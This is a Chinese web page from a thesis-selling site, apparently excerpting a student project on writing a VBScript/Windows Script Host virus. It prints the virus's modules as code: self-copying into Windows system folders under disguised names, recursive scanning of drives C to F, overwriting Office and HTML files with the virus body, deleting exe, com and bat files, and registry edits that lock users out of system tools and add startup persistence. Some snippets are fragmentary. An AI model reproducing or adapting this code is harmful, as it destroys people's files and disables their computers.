网站导航网学 原创论文 网站设计 最新系统 最新研究 原创论文 获取论文 论文降重 发表论文 论文发表 UI设计定制 论文答辩PPT格式排版 期刊发表 论文专题
返回网学首页
网学原创论文
最新论文 推荐专题 热门论文 论文专题
当前位置: 网学 > 设计下载 > 其他类别 > 正文

基于VBScript和Windows脚本宿主的一种简单病毒开发

来源:http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 13/05/06

文章导读:在新的一年中,各位网友都进入紧张的学习或是工作阶段。网学的各位小编整理了其他类别-基于VBScript和Windows脚本宿主的一种简单病毒开发的相关内容供大家参考,祝大家在新的一年里工作和学习顺利!

QQ交谈客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn

 

5.2 功能流程图
脚本病毒程序流程:首先是初始化工作及创建主函数过程,其次是搜索文件,选择某一文件并判断感染条件,如果已经感染,则结束感染破坏文件模块,并选择下一文件。如果未感染,则执行感染破坏文件模块,再选择下一文件。并使用递归算法调用搜索文件模块本身,对子文件夹进行操作。对磁盘搜索,文件感染破坏操作完成后,执行注册表修改操作,最后结束程序。如图1所示
5.3 设计思路
1.初始化部分:定义相关全局变量。
2.主函数部分:使用系统文件操作(FSO)对象来对各个文件进行操作,调用scan过程,磁盘遍历过程,注册表操作过程。
3.文件搜索部分:使用系统文件操作对象,通过调用getfolder方法,得到路径下的文件,再用递归算法,调用过程本身,实现对自文件夹的访问。
4.文件破坏部分:判断文件后缀,如果符合条件,执行删除操作。
5.文件感染部分:如果文件未感染,则将脚本病毒自身代码覆盖源文件,实现对目标文件的感染。
6.注册表操作部分:创建注册表键值修改过程,再调用该过程对注册表进行修改操作。
5.4 功能模块实现
5.4.1主函数模块
该模块主要用到的对象:
CreateObject对象           创建注册表对象
该模块主要用到的方法:
RegRead 方法               读注册表键值
Regcreate 方法              创建注册表键值
 
代码解析:
主函数模块首先创建了对注册表操作的对象,再调用regread方法和regcreate方法,对执行VBScript脚本的Windows脚本宿主程序进行超时设置,加入防止操作超时的操作。然后将病毒文件复制到windows目录和system32目录下备份。再调用感染文件模块,破坏文件模块,注册表操作模块。
关键代码如下:
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.regcreate"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0 ,"REG_DWORD"
''注释 - 防止操作超时造成的程序终止。
end if
 
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
''获取系统关键文件夹的名称
 
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\raul.TXT.vbs")
''复制自身到关键目录中备用。
m = msgbox("The virus is scanning!",0,"raul-virus")
    ''弹出警告窗口,病毒正在执行搜索功能
scan("C: ")
m = msgbox("The virus is deleting your file!",0,"raul-virus")
delete("C: ")
scan("D: ")
delete("D: ")
scan("E: ")
delete("E: ")
scan("F: ")
delete("F: ")
regruns()
end sub
5.4.2感染文件模块
该模块主要用到的对象:
Filesystemobject对象     系统文件操作对象
Files 对象               文件夹中所有文件的集合
该模块主要用到的方法:
GetFolder 方法           返回指定的文件夹对象
Getextensionname 方法    返回包含文件扩展名的字符串
Opentextfile 方法         打开指定的文件
GetBaseName 方法        返回文件的基本名
GetFile 方法              返回指定的文件
Write 方法               将指定内容写入字符串
Copy 方法               复制指定的文件
代码解析:
脚本病毒可以直接通过复制自身代码来感染文件。病毒中的绝大部分代码都可以直接加在另一程序中间。以下这部分代码就是感染文件模块的关键代码:
1.首先定义系统文件操作fso
2.然后调用opentextfile方法打开一个文件,并将该文件复制给raul对象。
3.判断文件名后缀,如果是html,htm,xls,vbs,doc,ppt,则调用write方法,将满足上述后缀名的文件打开,并将病毒自身代码写入文件,实现感染操作。
4.之后调用getbasename方法得到要感染的文件的名称。
5.再将这个字符串覆盖写到源目标文件,并创建一个以源目标文件名为文件名前缀、以“vbs”为后缀的新文件。
6.最后删除源目标文件。
 
关键代码如下:
dim file,fc,raul,aname
set fso = wscript.createobject("scripting.filesystemobject")
    set folder = fso.getfolder(lujing)
    set fc = folder.Files
ext=fso.getextensionname(file.path)
ext=lcase(ext)
 
if(ext="html")or(ext="htm")or(ext="xls")or(ext="vbs")or(ext="doc")or(ext="ppt
")then
set raul=fso.OpenTextFile(f1.path,2,true)
raul.write vbscopy
raul.close
aname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(lujing &"\"&aname&".vbs")
5.4.3搜索文件模块
该模块主要用到的对象:
Filesystemobject对象    系统文件操作对象
Files对象               文件夹中所有文件的集合
该模块主要用到的方法:
Getfolder方法          返回指定路径中的文件夹对象
Subfolders属性         返回由指定子文件夹组成的文件夹集合
 

该模块运行截图效果如图2所示:
 
2 病毒搜索模块运行截图效果
代码解析:
1.首先本模块内定义了系统文件操作对象fso
2.然后调用getfolder方法,得到需要搜索的路径(scan过程里面的参数即需要搜索的路径)的那个文件夹,并将该文件夹对象附给变量folder
3.再引用files属性,得到文件夹下面的所有子文件组成的文件集合,并将该对象附给变量fc
4.再通过for循环语句,实现对fc(文件集合)下的所有文件依次进行感染标记判断,破坏,感染等操作。
5.接下来引用subfolders属性,将子文件夹集合这个对象附给变量sf
6.通过for循环语句,并且调用scan过程(递归算法),该递归算法能够遍历整个分区的目录和文件。实现对sf(文件集合)下所有文件的依次操作。从而达到搜索整个文件夹的目的。
 
关键代码如下:
Sub scan (lujing)
On error resume next
Dim file,fc
Set fso = wscript.createobject(“scripting.filesystemobject”)
Set folder = fso.getfolder(lujing)
Set fc = folder.files
For each file in fc
 
/*脚本病毒感染及删除模块语句*/
 
Next
Set sf = folder.subfolders
For each file in sf
Scan(file)
Next
End sub
5.4.4破坏模块
该模块主要用到的对象:
Filesystemobject对象    系统文件操作对象
Files对象              文件夹中所有文件的集合
该模块主要用到的方法:
Deletefile方法          删除指定的文件
 
该模块运行截图效果如图3所示:
 
 
 
 
3 病毒破坏模块运行截图效果
代码解析:
1.首先定义系统文件操作fso
2.调用getfolder方法,得到指定路径下的文件夹。
3.对于文件夹下的每一个文件判断文件名后缀,如果是exe,com,bat,则调用deletefile方法,将满足上述文件名后缀的文件直接删除,实现破坏功能。
 
关键代码如下:
Sub delete (lujing)
On error resume next
Dim file,fc
Set fso = wscript.createobject(“scripting.filesystemobject”)
Set folder = fso.getfolder(lujing)
Set fc = folder.files
For each file in fc
if (ext="exe") or (ext="com") or (ext="bat") then
fso.deletefile(file.path)
 
Next
End sub
5.4.5注册表操作模块
该模块主要用到的函数:
CreateObject函数        创建注册表对象
该模块主要用到的方法:
Regwrite方法            对指定的注册表项写入值
代码解析:
1.该模块首先定义了创建注册表键值过程。调用createobject函数创建了注册表修改对象。调用regwrite方法,写入注册表的键值。
2.在regruns过程中调用了regcreate过程,执行禁止运行菜单,禁止关闭系统菜单,开机自动运行等操作,以及对IE修改的操作。
关键代码如下:
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
 
sub regruns()
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"                                ''禁止运行菜单
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"                           ''禁止关闭系统菜单
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"                           ''隐藏盘符
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"              ''禁止使用注册表编辑器
regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",1,"REG_DWORD"                                ''禁止使用注册表扫描
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"                              ''禁止注销菜单
regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"                                     ''开机自动运行
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"                     ''禁止显示桌面所有图标
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"                                 ''禁止dos
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"                      ''禁止任务栏和开始
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"                    ''禁止右键菜单
regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"                           ''禁止控制面板
regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","kkhk"                                ''开机对话提示框标题
regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","ij"                                     ''开机对话提示框内容
''下面是相关IE操作
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"                    禁止IE右键菜单
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"                         禁止Internet选项
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"                          禁用另存为菜单
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoFileOpen",1,"REG_DWORD"                             禁用文件打开菜单
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\Cache Internet",1,"REG_DWORD"                      禁止更改临时文件设置
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\AutoConfig",1,"REG_DWORD"                             禁止更改自动配置
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD"                                 禁止更改主页
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\History",1,"REG_DWORD"                            禁止更改历史记录设置
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoViewSource",1,"REG_DWORD"                            禁止查看源文件
regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\SecurityTab",1,"REG_DWORD"                                  禁止安全项
end sub
本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT

本文选自计算机毕业设计http://myeducs.cn
论文文章部分只是部分简介,如需了解更多详情请咨询本站客服!QQ交谈QQ3710167

  • 下一篇资讯: 视频音频播放器的设计
  • 原创论文

    设为首页 | 加入收藏 | 论文首页 |原创论文 |
    版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
    Copyright 2008-2020 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号 常年法律顾问:王律师